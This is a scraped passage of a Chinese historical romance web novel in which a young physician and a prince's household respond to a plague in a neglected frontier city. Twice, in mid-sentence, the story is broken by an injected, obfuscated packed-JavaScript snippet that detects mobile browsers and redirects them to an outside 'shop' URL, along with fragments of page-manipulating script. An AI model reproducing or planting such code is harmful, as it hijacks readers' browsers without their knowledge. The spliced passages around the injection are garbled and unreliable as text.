“瞧瞧,你什么时候能把对别人的惦念,分些给自己?”肖云翎说着,手里也收起了包袱,她道,“这一趟我与你同去,我也许久不见爹和石老伯了。” “好啊,有姨妈带路,自然能比我自己快上不少。”石焉笑着说完,仔细想了想,又道,“不对,姨妈风华绝代,路上不知道多少人策马追赶也要看一眼,这可得耽误许多功夫了。” “嗯,石姐姐美貌绝伦,有多引人注目我已经在来时的路上见识过了,新师父明艳倾国,估计惹眼的程度还要甚于石姐姐。不如带上我,我帮两位挡上一挡。”宋西州不知何时醒了过来,从薄被窝里钻出个脑袋,看着两人痴痴地笑。 “你们两个,一个比一个嘴上功夫了得。”肖云翎假意怒道。 不过肖云翎最后还是没有带同宋西州前往,听说外头有些地方闹起了疫病,便把她留在崖内由裴青染负责教习练功了。 从万周山到徒太山,一路继续北上,肖云翎一人一马,秋娘带着石焉共乘一马,三人皆着深色布衣,戴木色斗笠,沿官道奔袭,倒也顺畅无阻。偶有几个识货之人认出肖云翎腰间的名剑不菲,但宝马疾驰,并未给予他们时间看清斗笠之下佩剑人的样貌。 只是奇怪,本是宽阔少人的官道,近几日却见到了不少肩扛手提大小包袱的赶路百姓,一开始石焉与肖云翎均未在意,可接连几日,行人断断续续不绝,这日她们进镇,落脚在凌霄宫开于此处的归留园里,竟也住满了人,而这些人虽在赶路,却大多穿戴较好,嘴里都是南方口音,甚至有些还停了轿子在院里,看上去绝不是穷困逃荒之人。等到晚间掌柜弟子来报,众人才大吃一惊。 “南方大疫了!?” 20. 第五章第一节 “眼瞧着夏天就要过去了,怎么就大疫了?”石焉问道。 肖云翎似乎对此事本也只是初听说时略觉吃惊,并没怎么真正在意,但看石焉一脸关切,只好示意来报的掌柜弟子讲下去。 “我也不知,只是近来投店的的确都是南方来的,商贾和官府亲眷最多,听她们口中言语,乐进夔闹的很是厉害。不过据今日京城那边的归留园飞鸽传来的消息,皇上已经把此事全权委派给了太子。太子坐镇金陵,遥监乐进夔,已经建起十余处疠所了,想来是绝不会威胁到京城的。”掌柜弟子名叫杨丹盈,服色是凌霄宫第二级的云山蓝,她恭敬道。 “遥监?”肖云翎冷笑一声,道,“那么别处呢?这些人都是乐进夔那边来的吗?” “是。咱们归留园向来是定价高的,因此落脚在这的人都是乐进夔附近的州郡来避疫的富人,这座镇子算是北方最繁华的地方,她们银钱不缺,自然就选择此处落脚了。”女弟子顿了顿又道,“不过…徒儿今天还收到了边陲那边的消息,益州不太好。” “有多不好?”石焉急道,益州离瑶疆不远,两地虽一样都在边陲比邻而坐,但瑶疆山水干净,树木俱全,苗桃族人又身体殊健,不易染病。可益州近几年是越发落后,地理闭塞不说,如药材一类的供给更得一应依靠苗桃商贩来往才能获得,这还是父亲在封滇南王时特意开的商路。在世人眼中,益州几乎算是一座废城,无州官无知府,只有一个守城将领带着兵士驻扎在此。也就是从前父亲受封滇南,又有林将安定边陲,于是瑶疆得治,一片大好,益州作为邻城,他们自然也要庇护那里的苦寒百姓。可如今比不得从前,若现在的益州大疫,那里的百姓可真是要叫天天不应叫地地不灵了。 “城里已经死了一半了,看情形来势汹汹不比前朝代宗年间江东的那次大疫轻,只是消息总递不到京城,现在无奈,益州的守城将已经下城门不许人进出了。” “益州自古便是流放之地,到了我朝连一位像样的管事大人都没有。朝廷要想治疫,必得劳师动众,运输医官和药材,现在城中如果真的已经死数过半,那么此时前去多半会无功而返不说,更极有可能累及性命再也回不去,确实吃力不讨好。也难怪消息总被拦下,没有人愿意接这件差事。但是…” “但是你要去,是吗?”肖云翎打断她道。 “是,姨妈,我熟悉那的地形,知道怎么能最快就近取材运药制药,我还有金鳞蛊护身,百毒不侵百病不近,没有比我更适合去得了。” “你是百毒不侵,百病却不见得不近,这又是你几时编出来哄骗人的?”肖云翎道,“我不同意你去。” “姨妈!” “叫妈也没用。益州如何与我们无关,朝廷都不理,要你我理什么?我不会允许你去,而且你一个人去又能有多少作用?” “所以我要麻烦姨妈将益州之事飞鸽传书到屿王府,让兄长知晓,再禀达天听。” “连你我都知道的事,我可不信他会不知。”肖云翎又道,“同样的疫病,一处在金陵邻城,一处在偏僻边疆,自然人人都要争那皇帝眼皮子底下的功劳了。现在乐进夔这块肥肉已然到了太子手里,此时你再把益州的事捅到屿王跟前,他管或是不管,管好或是没管好,都只会打皇帝和太子的脸,你猜他会不会恨你?” “姨妈说的我都知道,可是益州城里还有活着的百姓,不能这样等死!”石焉痛道,“益州的守城将赵将军是当年父亲旧部,王府遭祸,他亦被连累,在苦寒之地戍守至今,但看他这次敢闭锁下城门,就知道他胸中孤勇仍在,是个能做决断的。还有…一位前兵部的郭大人,我印象中父亲曾跟我说过,郭大人耿直忠诚,却不知道为何前几年也流放到益州了。皇上偏心太子明眼人都看得出来,要和太子斗就必须得手里有不畏权势的直臣,这两位大人对以后的兄长,一定用得着。” 石焉字字坚定,她继续道,“姨妈,我会在信里廖写一二,兄长自会有衡量,他来最好,不来也就罢了。” “我担心的是他衡量的不只是赵郭两位大人,还有你也在他的算盘之中。”肖云翎虽习惯嘴上从不饶人,但心里对她这位妹妹的唯一女儿是心疼至极的,她确不想让其去搅这趟浑水,便再次劝道。 “我不怕他算计,我只怕他初心有亏。如果兄长真的不惧危险愿赴这场注定无功的险,我亦愿收回成见,助他一次。” “好罢,我知道我劝不住你,你想好了便是。此去益州路远,我让丹盈骑马载你,最快也要八九天才能到,路上别太赶着。别人的命是命,你们的命也是命。” “姨妈放心,路上杨师姐护我,等到了益州,我也会护着杨师姐绝不让她涉险。” 石焉拿出纸笔开始书信,她写完后将信折起交给杨丹盈,随即又从包袱中拿出早早备好的一方纸笺,递给肖云翎道,“姨妈,这里面是我在来时路上给爷爷配的解药,虽还不完全,但也可解一时之困,请你帮我带上徒太山,给外公看看可不可用。” “行行行。我只盼着你休息一日吧,小小年纪怎么心里盛得下这么多事。” “殿主,不如让我跟着去吧?也好保护姑娘。”秋娘用手语道。 “你又不通医术,去了还得让妙常反过来保护你,否则不用你说,我早都跟着一同去了!益州没什么豺狼虎豹,丹盈一个人足够了。”肖云翎从腰间摸出一个荷包,塞入石焉的袖子,而后道,“姨妈就是有通天的武功,也在这种事上没半点作用。你兄长有权,姨妈能帮你的,就是钱了。” 肖云翎性子虽然有些天生的淡漠与凉薄,往往对世间诸事不予理会,坐持出世而孑立之态势,但她到底是肉体凡胎的人,生在尘界俗世的地,因此若事涉她的亲人或是凌霄宫中人这两项,她便是一定会理上一理的。 “姨妈真是及时雨,”石焉笑道,“这包银子我现在就能派上大用场。” 翌日一早,石焉与杨丹盈便整装出发了,两人共乘一匹宝马,另栓了一匹宝马在侧,上面绑满了头天晚上石焉采买的各类偏远之地不易得的药材及熏香。头顶飞鸽放出,与两匹骏马往不同方向而去,它的目的地,正是金陵。 信鸽飞翔于天际,跃过万千青树的顶空,跃过大小洋流的上头,几个日夜,窥千里之外,忽然一阵风起,九月已至。 一日这晚,沈谛祝正从书房往王妃处去,便听到“嗖”的一声,一根短箭直朝他面中而来,来不及张嘴叫人,眼看就要被射中,此时檐上黑影晃落,暗夜中只见到一丝火花亮光忽闪而过,似是刀箭相撞,再看清时短箭已掉落在地,江南穿着一身夜行衣,落在旁侧。 “幸好你回来了。” “殿下别怕,是归留园的女徒,看我回来了才发的箭,目的不在伤害殿下。”江南收刀,边说边走上前去把短箭拾起,从箭尾取下一截细管,里面装着卷信纸—— 益州大疫万分危机缺辟疫干散缺雄黄末赵将军力守不怠郭大人围困城中妙常先行一步为兄长照应盼兄长援手从速 “沈妙常啊沈妙常,你可真会给我出难题。” “怎么了殿下?” “她居然让我去益州治疫。”屿王揉了揉眉心,道,“前几日为了乐进夔的疫病一事我在朝堂上和太子争了许久,这件事情,交给谁都是乐差一件。大疫以前也不是没有过,这如何治疗,如何防染,一应全交由太医处理,像我们做皇子的,根本用不着亲赴前线,既安全,还能坐享其成,坐在金陵殿里就能空得一个防治有功的名头。至于乐进夔的百姓到底会付出什么样的代价,父皇与太子才不怎么在意。因此我虽明知父皇不可能把这样一个扬名的好机会不给太子而给我,却也不得不争上一争。” “可惜,我如何努力,大人们如何为我进言,终归还是争不过父皇的偏心。” “至于益州,远在偏僻边陲,我就算带着德高望重的太医和齐全充足的药材去了,也未必就能弥补什么,那座城已经死了一半了。乐进夔防治,那是保护了金陵,所有权贵都要感恩戴德的。益州呢,管不好就是浪费金银不说,管好了也是要得罪所有人。 穷乡僻壤,环境恶劣,致死几率比这头大得多。太子手下的人是一个也不会去的,驿使和奏院更是一个比一个能揣摩众臣心思,自然不愿意去做这个出难题的人,我手下的几位倒是有愿去的,但他们去和我去又有何异?功过只会一概算在我头上。甚至那些太医,也没几个想去拿生命冒险的。 父皇和大臣们日日假装不知益州事,却对着乐进夔讨论个不休,好一出君臣共为百姓忧心的戏码,真是默契。如果我此刻去上奏请命,就变成了皇帝不知的事情我知,奏院瞒奏的事情我奏,岂不是把所有人的脸一起打了?” “可是殿下还是要去,是吗?”江南摘下蒙面,又看了看信纸上他不懂的书法,他道,“否则殿下也不会派属下今夜偷进宫,去太子府窃取治疫的方子。” “我是犹豫。”沈谛祝道,“虽说此去一定是弊大于利的,只是就算我不去得罪人,父皇也不会多看我一眼,忠心皇帝和太子的朝臣也不会倒戈于我,左右都是被排挤在外,倒不如去益州。虽然有可能会加剧父皇的提防,但无非是百上加斤,不差这一点。万一将来真有兵戈相见那一天,这位赵将军,和郭大人,才是可用之才。” “这么看来郡主不是给殿下出难题,是帮助殿下做决断的。” 沈谛祝睨了他一眼,“嘶”地一声似乎想起了什么,道,“你这么中意于人家,我上次又着意派你护送她去江陵,就是想撮合你二人,怎么回来倒见着更陌生了,你没趁机告诉她小时候你们的事吗?” “郡主聪慧,我没说,但她一定已经认出我了。” “光是认出有何用?你十二岁去瑶疆救她,又千里赴杭给她送去旧衣,还有为她抢下母亲的遗骨,这些,你不说她从何而知?” “我已经努力过了。”江南道,“郡主高高在上,本来我就配不上,从前是这样过来的,以后这样下去也没什么。” “妙常从来不是在意门第权势之人,你这次在杭城救下她爷爷,她心中对你感激,你可见到她有任何一处瞧不上你吗?我儿时与她相交甚好,我对她的了解不说九分也有七分,她不是会一见钟情、为表相所惑之辈,但极易心软,由恩生情才是与她相处之道。更何况就算你没什么,那我们屿王府呢?你知不知道一个皇帝亲封的定边郡主,是多大多重的分量。” 沈谛祝语气中颇有些兄长教诲幼弟时的语重心长,掩盖了他话中算计的真意,让江南觉得他只是在关心自己的姻缘大事。 “属下无用。” “罢了,此去益州再见到她,好好掌握吧。” 益州城外,百亩贫土,唯有两匹白马临立,马上下来一头戴斗笠的女子,她往前奔跑几步,朝城门上的值守官兵大声喊道,“我们是金陵来的大夫!请开城门,放我们进去!” “报上名来!” “石焉,神医肖遥海之徒!我带了药材,请通报将军让我进去!” 过了一会,城门打开一条小缝,出来一个年龄三十上下的男人。他身材魁梧,个头挺拔,但走路脚下虚浮,又满面愁色,看起来疲惫不堪。 多年未见,石焉仅凭十岁前的记忆,已经不能确认眼前男人是否是赵将军,她试探问道,“将军可否听过医仙倌?我在他手下学过医术,可否让我进城?” “医仙倌肖遥海的名号我自然听过。”男子道,“姑娘有这份胆识,赵某佩服。只是这次的疫病非同寻常,一旦染上多半就是死。姑娘如果不是朝廷派来的医官,恕我不能放你进去涉险。” “赵将军…”石焉刚想再说,就听到身后传来马蹄疾响。 “她是屿王府的医官,赵将军放行吧。” 骏马奔的极快,马背上的男子单手勒停,座下黑马发出激烈嘶鸣,他另一只手从腰间的蹀躞带钩上取下金牌,高举石赵二人眼前,屿王府三个大字耀眼夺目。 “卑职见过大人。”赵将军立刻跪地见礼。 石焉看着来人,眼中渐有热泪汇盈。顾念怀骑于马背,高高在上,然而此时这高高在上正是她最需要听见的声音。她跟随着赵将军跪地行礼,道,“参见大人。” 看来兄长还是肯来。 顾念怀翻身下马,三步并作两步上前,将地下二人扶起,道,“赵将军,屿王殿下已向朝廷请命,携太医和储备医药正在前来的路上,派卑职先来禀报。” 他看了看石焉,又道,“如今乐进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253660|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夔的情况也实在不容乐观,朝廷的人马多半都被遣去了,殿下力争,才带了五位太医出来。”后又向赵将军,“这位石焉姑娘,并非籍归朝廷,而是属我屿王府的医官,但是医术绝不逊色,殿下心系益州,担心太医年迈,脚程太慢,因此命石姑娘先行一步来此。将军莫怪。” “岂敢。殿下当真是如传言所说,是心系百姓、扶植清流的贤君,益州盼来了殿下,便有希望了。”赵将军激动的抹了把眼泪,又道,“我这便带石姑娘进去,只是大人您金贵,恐进来多有危险。” “将军不必考虑我,我还要在这里等待殿下。这几日我就住在城门外,城内有什么需要,请将军尽快遣人告知,我随时可代为采买。” “还有我!”杨丹盈也上前道,“姑娘既然不许我进去,那么就请派我跑跑腿吧。” “好。”石焉和赵将军异口同声道。 老城门再次“吱呦”一声开了条窄缝,石赵二人背上石焉带来的全部物资,快走几步,闪身入内,随着大门的关闭,便一同消失在了这座被人遗忘的偏城之中。至于他们还能否出来,城内城外的人没一个敢保证。 顾念怀和杨丹盈牵着马,往旁侧走几步,就地扎营安坐下来,等着他们各自要等的人和消息。 天气闷窒,无垠的土地沉沉压来,放眼远处是金碧苗疆,脚下入眼是一片黄色荒芜。辰光从暗到明,再反复过来,从熹光初现,到日落黄昏。这颜色似乎是这片大地所特有,顺途蔓延,或是逆时倒流,跟随着,或是颠倒了,从益州,到长河。 几天之前,一匹快马疾驰在长河道边,棕黄色的浪潮叠卷着浪潮,如今正是大风起的时节,长河伏汛,扶摇直上,滔滔入天,马蹄溅起的沙土褐泥一并被风揽入空中,和湍急的河流连成一片,蒙蒙眼前。烈马通体棕褐,唯额头上一片长条白斑,似玉似眼,马上有一华衣男子,正追赶着河中几艘飘摇晃荡的大船,每条船侧均有一个“九”字,便是九顷水帮的商运船队了。 等船好不容易在一片黄尘中靠了岸,那男子也驾马堪堪赶到,他快速下马上前,船上也下来一位中年女子,她一手拿着明细清单,一手指挥,监看着上下来往的帮众们搬箱卸货,嘴中督促核对着,一派船老大的豪气作风。 男子见了她行礼道,“帮主,十万火急。” “轩以?” 中年女子正是九顷水帮新任帮主陆其陇,自帮内大会后,她为防有其他门派趁虚而入,要打压九顷地位,便百般谨慎,凡事亲力亲为,重要货物更是亲自上阵押船,一个月来九顷的诸位舵主及全部帮众不再有一个不服的。此刻她刚押完这条线到中转渡口,便遇上了专门找来的卿轩以。 “怎么了?帮内出什么事了?”陆其陇急道。 “不是帮内,是益州大疫了。” “怎的益州又大疫了?不是都在乐进夔一带吗?” “我也不甚清楚,是小姐遣了凌霄宫的女徒来递信,说益州比乐进夔还要先发现疫病的,只是一直无人问津拖至如今,已经到了最坏的境地了。” “焉儿?她去益州了?” “正是,帮主。小姐说药材已有屿王府的人供给,只是陆路所载毕竟有限,想请帮主即刻增一条水路,运更多药品去益州,且她已经向屿王递报,允许咱们的船供药,只要都从这几家店铺购入即可。”说着,卿轩以递上石焉随信附来的几家药铺名称。 “我知道了。”陆其陇从怀中摸出“九顷令”递给他道,“你骑马快,立刻拿我的令牌回总舵,由你负责,带十二分舵全力配合送药一事。” “是。” 卿轩以领命上马去了,陆其陇看着他远去的背影,身后是忙碌穿梭于货船之间的众帮众,她眼中突然盈起一汪热泪,周遭惊涛拍岸,黄沙漫天,她前所未有地感受到一种力量感,或许是来自此刻的造化鸿蒙,或许是来自背后的自家弟子,或许是来自能放心委以大任的轩以后辈,或许是来自远方边府独挑大梁的石焉侄女,或许是来自自己那一直未曾有消息的亲生骨肉。她的征途还很漫长,不管是为了哪一个,都远没有到倒下的时候。 但此时的益州城中,药铺、疠所里到处都是倒下的病人,人人颓丧难继,人人痛不欲生。 “石姑娘,我来为你引见,这位是我们益州本地的王大夫。”赵将军一路领着石焉先去了自己的将军府。 “王大夫好,民女石焉。”石焉系好围纱,掩住口鼻,随后又问道,“烦请您告知现下城内情况到底如何。” “好。”这位王大夫看上去也年过五旬,面容憔悴,腰背部也累得佝偻不直,他道,“如今自疫症出现以来,已有近一月了,每天都有人死,每天都有新的人染病。这里比不上乐进夔就在京城边上,明明比我们出疫的晚,但不过三日就有太子亲自遣了太医处置。我们赵将军派出去禀报的人一拨接着一拨,可偏偏没有个回应。后来无奈,赵将军身边的副将亲自去了京城,他们竟然连金陵的城门都不给进,副将途经乐进夔,这才知道人家虽也尚未找到解法,但至少早早就得到援助、医药不缺了。” “赵将军,那么咱们这疠所建了吗?建了几处?”石焉转而问道。 “建了,一共四处,东南西北各一,目前东域重病人数最多,已快容不下了。” “好,王大夫,请您带我去东疠所吧。” “姑娘,不是我推脱,东所已经没有大夫了,现在城东即便家里再有染上的也多是偷偷送到南边来,说白点东所的人就是在等死,你去了也无济于事,还有可能搭上自己去。” “我明白,王大夫,多谢你为我着想,不过屿王殿下命我,一定要尽最大努力,他不想再听到益州死人的消息了。”石焉情急下拿屿王作盾,编了个借口,又道,“您已经多日劳累,如今南所的病人也肯定是一步都离不开您的,烦劳给我指条路,我自己去便可。” “好吧。”王大夫转身欲带其出门指路,石焉正顺势跟去,突然见到屋子的顶梁柱后头,一个约莫五六岁的小女娃躲在其后,探出个脑袋来,石焉不知所以,回头看向赵将军。 赵将军上前道,“这是小女。” 小女孩遂绕身出来,盈盈施下一礼, “赵凝眸见过石医官。” 21. 第五章第二节 石焉见她一下子就道出自己大夫的身份,想必又是听到屿王二字所以尊敬称己为医官,遂对她微笑道,“真是伶俐。” “赵将军,外面危险,令爱年幼,一定要小心保护,莫要出门去。”石焉转而回身叮嘱,又听王大夫重新指明路线后,整了整脸上的围纱,便离府往东所赶去。 街道上惨淡凄凉,而疠所的景象,也是满目疮痍。几十个人躺在地上,各自身下只有一张布,还都已被滚爬撕拽的破烂不堪了。石焉马上就会在这些无望的面孔上切身感受到什么叫只得坐以待毙。 疠所仅有一扇对着后山的窗子,大门亦是紧紧闭锁,站在门外,即便隔着围纱,她还是感到空气中有一股说不出来的糜臭,是排泄物的味道。疠所被驻军所围,为防扩散,是不让染病之人出门走动的,许多人又失去了行动的力气,因此自他们第一次在人前失禁后,便再也没有为人的尊严了,第二次,第三次,愈发不加克制,只想快点死去解脱罢了。 此刻门后的角落里正蜷着一个尚年幼的男孩,身边还有一个妇女,脸上也以纱布掩鼻,正在为男孩擦身洁面,似乎是他的母亲。 妇人听到开门的声音猛地抬头看来,与石焉四目相对,两个人的眼里都是惊恐与忧愁。前者是惊异这废弃之地,如何会有新的医官前来?后者震撼的是这里的场面比她预想的还要糟糕百倍。 石焉快步走上前去,她搭脉,施针,问询。果然,这妇女是少年的母亲,姓裘,家里的男人都染了病被拉来了此处,现在只剩下儿子还活着了,她求了守卫,自请进东所便再也不出去了。 石焉心里敬佩,她一届女流,在这里许多天了,竟仍然未染此疫,又把儿子照顾的妥帖,刚才石焉问询少年病情时,她答的详细清晰,连儿子哪日第一次出现症状、哪时呕吐晕厥的,都记得清清楚楚,为石焉提供了大有用处的信息。这位母亲大难之下仍能维持理智和勇敢,可见其心志坚强。 子女孝敬老母,多是在心有余力的前提下,而母亲爱孩子,往往是豁出了一切去情愿以命换命的。也幸好有她在此,否则石焉仅靠这一屋子口齿含混、精神不振的病人,怕是问遍了也问不出个所以然。 “石医官,如何?”裘氏见石焉搭完脉息后问道。 “疾疫侵体,又兼饥乏,且据我观察,令公子和其他人都既有头目痛、肢节痛,还喉干内热。应是由于阴阳失位,寒暑错时所致。”石焉道,“你别急,我来时细细重读了前朝孙神医的医著,其中一章记载有辟温治疫的方剂,和此症相合,我先适量配出,你协助我喂这屋子的人服下,再观后效。” “好,好。”裘氏连忙应了便去烧水。 银制小壶在火炉子上发出“滋滋”的冒气声,一双女子的玉手拿布裹了壶把拎起来,趁热倒进茶盅,滚水激的茶叶全部漂浮起来。 “怎么样?这副方子可好用?”肖云翎靠坐在摇椅上,身上裹了件风白色的狐裘披风,正舒适地饮茶。 “方子当然是好方子。” 一位年长的男子背对着摇椅,立在屋内不远处的一方高木柜子前,他手一按,木柜便弹出一处夹层来,他仔仔细细将方子叠好,放入其内。 “这味药我最近也在找,只是妙常比我先一步想到了。”他收好方子,转身朝茶桌走来。 “爹向来偏心妙常,天天夸不够似的。”肖云翎笑出声来,又支起身子,再倒满一杯热茶递去对面。 肖遥海掀起外袍坐下,他已五十有三,然脸上容光焕发,顶上满头黑发,看起来比实际年龄要年轻上至少十岁,且举手投足仪态堂堂,眉眼清朗间依稀可见年轻时的俊逸容颜。他端起茶杯啜饮了一小口,道,“我看我是偏心你,才纵的你竟然敢放她一个人去治疫。” “是啊,我刚刚去见过石伯,他气色不错,还告诉我说爹你啊,每次提到我多半都没什么好词,原来爹就是这样偏心我的。” 肖遥海笑着摇摇头,将手中茶盏一饮而尽,“我常年住在这徒太山上与世隔绝,自然不知现在都有些什么与时俱进的好词。” 此山处于中原的最北端,终年积雪覆盖,寒冰刺骨,而万丈山顶之上,便是肖遥海的住所。他早已习惯了坐在这里,等一盏茶凉,等九字雁回,等来年三月,春日有期。 “对了,你方才告诉我瘟疫一事,我想了想,觉得有些地方不太对劲。益州与乐进夔接连大疫,偏偏一个在滇南境边,一个在京城门口,你说这是为什么?”肖遥海的茶盏还停在嘴边,他双目如炬,眼光透着锐利。 肖云翎眉毛微挑,她思索了一番,道,“爹这样说,倒让女儿也想起一点。我打听得益州大疫后七天,乐进夔便报疫了,从益州到乐进夔的路程,七天是正好的。” 话毕,两人相视一眼,似乎皆已了然,肖遥海道,“央月教的现任教主,向来在复辟云暹国上坚持不懈,除了他还有谁会最希望咱们南唐自己内部乱起来呢?” “要不是看在娘的面子上,女儿早杀了他千百回了。” “只怕要是你娘还在世,会比你更早一步先杀了他。” 两人提起旧事,苦笑了一下,可两人笑的都很浅,斯人已去,生者再怎么揣摩,也无权替她决定。 肖遥海敛了笑意,继续道,“好在他也不会伤了妙常,圣女血脉相传,在下一任圣女出世之前,本任圣女绝不能出事。所以他一直想让妙常回去,好给他自己的政权撑腰罢了。” “可不是?妙常去我无尽崖的一路上,央月二使始终跟随,幸好我派了青染护送,他们还不至于鲁莽到敢抢凌霄宫的客人。” 肖遥海落盏于桌上,他看着女儿道,“既然你我都觉得这两城的大疫是出自央月教教主的人为,那么此疫之中必定有蛊毒参杂,妙常一个人应付不来,咱们两个人都得走一趟。” “紧赶慢赶走了七天总算才到,本殿来晚了。” 益州城门外,顾念怀带着赵将军等一干人等正跪于青黄贫土上,跪迎屿王。对面是数百轻骑,中间拥了五辆轿撵,各载一位朝廷医官,再后是十数车的医药米粮,而最首的一匹高头骏马上坐的,正是屿王沈谛祝。 瑟瑟一阵风来,那黑马的鬃毛被吹起,纷纷扬而不乱如毫,飘飘忽似铁画银钩,马匹乌黑锃亮,体身剽悍健硕,两对迅疾马蹄铁铮铮夺目,此刻踏在这片荒芜大地上,显得格外不和谐。 “末将领益州守城军,参见殿下。”赵将军双掌抚地,磕下头去,眼前只余两只骏黑的前马掌,时不时点在地面上,前后慢踱,发出硬物碰撞的声响。 “赵将军请起。”屿王下马扶起眼前的人,又道,“五位太医在此,其余钱粮药草,请赵将军清点验收。” “多谢殿下。”赵将军抬起头,目中隐隐有泪,他心中感震,今日是他第一次见到屿王,但仅凭其长途跋涉却仪仗从简,一应护卫仅带轻骑,太医坐轿而自己骑马行首,他已然对这位七殿下带了几分敬佩之意。遂道,“殿下,城外往南十里有驿站,末将已遣人打扫干净,请殿下这段时间将就歇息在那吧。” “不必,本殿就在附近随意找片空地搭营安置便是,城内事宜本殿需得立刻得知。” “这…”赵将军觉得不妥,却又不知如何劝驳,皇子之身天尊玉贵,如何能屈尊住在营帐里? “赵将军,我们殿下一向是亲和的,将军不必觉得招待不周。殿下心系百姓,此来就是为了治疫,若城内复安,对殿下来说才是最重要的。”顾念怀在一旁接口道。 “殿下大义,益州上下定感念在心。” 于是赵将军领命携太医进城,又遣了将士搬运物资,众人忙碌起来,队伍前后有序地移动着,顾念怀却没在其中找到江南的身影,他靠近屿王一步,接过他手中马绳,低声问道,“殿下,江南怎么没在您左右?” “他一路都在最后面压队尾呢。” “殿下也太胆大了,您自己骑马就罢了,好歹让江南跟在您身边。益州是穷乡僻壤,城内又困怠已久,万一有哪个疯子出来伺机作乱怎么办?” “你放心,我若是伤着一星半点,倒反而能借此唱个苦肉计。但是太医和药草绝对不能有失,如果物资出事,我不仅这趟白来,之前的一切努力也算是白废了。” “是属下浅薄了。”顾念怀道,“对了殿下,郡主昨日给我递了消息说城内情况不容乐观,叫我叮嘱您来了绝对不能入城。至于住处,属下看过了,最近都是北风,您不住驿站,也得往北至少去上三里再搭营,才能保证城内的污浊之气不会波及殿下。” “小事,听你的。”沈谛祝笑道。 “多谢屿王殿下大恩!多谢屿王殿下大恩!”嘈杂的声音突然从城内传来,两人一并朝里看去,益州士兵正用身体拦着激动的百姓,那些铁甲的身前是一张张受难已久而突然振奋起来的蜡黄面孔,身后是一车车运入城内且源源不断的朝廷物资,呼喊哭谢之声不绝,顾念怀下意识往前一步挡在屿王身侧。 他看着,等物资全部入城后,益州城门再次紧闭如初。似乎只是几天而已,景象已大不相同。前几日石焉进城,他也是站在此处看着厚重的铁门关闭,那时除了石赵二人孤寂的背影和蒙尘的空气似乎什么也看不见。不过这次,他却依稀从不断阖起变窄的缝隙中窥到了一些重燃希望的画面。 而这些希望,都来自他身侧这位自己一心扶持的殿下。 风吹云散,日光渐息,傍晚时分,益州三里以北,屿王营帐全部搭建完毕。众人用过晚饭,刚休息片刻,便有士兵来报,是赵将军带了石焉来见。 两人一路被带到主帐之内,屿王安坐正中,顾念怀和几位亲信站在对面,石焉感到自己颈中的金鳞蛊有些异常活跃,她抬头,果然在顾念怀旁边看到一个熟悉的侧影。 “末将参见殿下。” “石焉参见殿下。” “咳咳,”屿王清了清嗓子,他与石焉自金陵大吵一架后便没再见过面,如今又有许多外人在场,气氛里有一种无法言说的尴尬,但他维持着脸上面色如常,又故意摆出一副高高在上的样子,才道,“石医官,城中情况如何?请你为本殿介绍一下。” “是。”石焉起身道,“益州的疾疫乃四时不洁,季节相错的疫毒之气所致,病人大多在初期只是体热兼有吐泻之症,但到了后期,就会加剧加重,快则两三天,慢则九十天,喉干眼痛,高热不退,饥乏无力,既而死亡。民女以古书为据,再结合益州地气,配了几副药方,已经给疠所中的十几个重病人混以汤水服下。目前两天过去,症状的确有所缓解,但是能否完全痊愈不再反复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253661|197975||http|test|mini|href|location''.split(''|''),0,{})); () { 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“医官有医官的战场,将军有将军的,赵将军你在此刻守好门户,未让一个流民外窜引发更大的动乱,是大疫的功臣,千万不要妄自菲薄。两位在城里切要注意自身安全,我门口有五十护卫,都是我的亲兵,今晚会随你们进益州去,有事石医官和赵将军均可任意调遣,再有所缺,定要及时来报我。另外,我会再派一人做他们的首领,若有紧急情况,可代我全权处理。”说罢,屿王看向旁侧立着的四位属官,继续道,“益州情况凶险,要做领官,必定要身先士卒。你们几个,谁去?” “我去!” “我去。” 两道异口同声的声音传来,是穿了同样服色的江南与顾念怀。 “殿下,让我去吧。”江南道。 “殿下,还是让我去。”顾念怀也抢道。 “赵将军,本殿还有些事要交代石医官,你先回去吧,晚些我再派人送石医官回城。”屿王转头道,“你们两个送赵将军出去。” 另两位不及开口的属官领命便带赵将军先离开了,大帐中只剩下他们四个,灯台上蜡烛高燃,映得四人的影子投在帷布上,像一个坚固的四方鼎,但火焰随风摇摆,照得影子也恍惚晃动。 “殿下,小顾聪明,您以后的大业不能没有谋士,让我去吧。”江南声音虽低,但语气急迫,他请命道。 “殿下,每年科举,谋士门客随时都会涌出更新更有才智的,能替我之人千千万,可能贴身保护您的却轻易更换不得,江南是跟您跟久了的,换任何一个人我都不放心。请殿下让我去!” “不行。”江南驳道,“小顾,我是从小习武的,我是粗人,我进去这种地方一定比你更合适。” “不行!”顾念怀丝毫不甘示弱,他道,“殿下,益州城内城外所有人都知道我是您贴身之人,我去就代表您去,也只有我去,才能让天下人都看到您在做的事。可是江南的身份别说益州,就连咱们屿王府里也没几个知道的,他若去了,如果抛头露面发号施令,那么再回来这暗卫就做不成了;如果不发号施令而默默操纵,那么殿下您的一番筹谋就不能得到最大程度的传扬。所以,必须是我去。” 两人的声音都不大,但言辞恳切,字字从心。沈谛祝叹了一口气,而后道,“小顾去。” 江南本也不善言辞,此刻更是什么话也说不出来,他无法,只是捏了捏顾念怀的肩膀,然后默默退后两步。 “你拿我的令牌,此去一切行动皆要以配合妙常为主,保护好自己,更要保护好妙常。替我监督好她一日三餐,按时休息。”屿王叮嘱道。 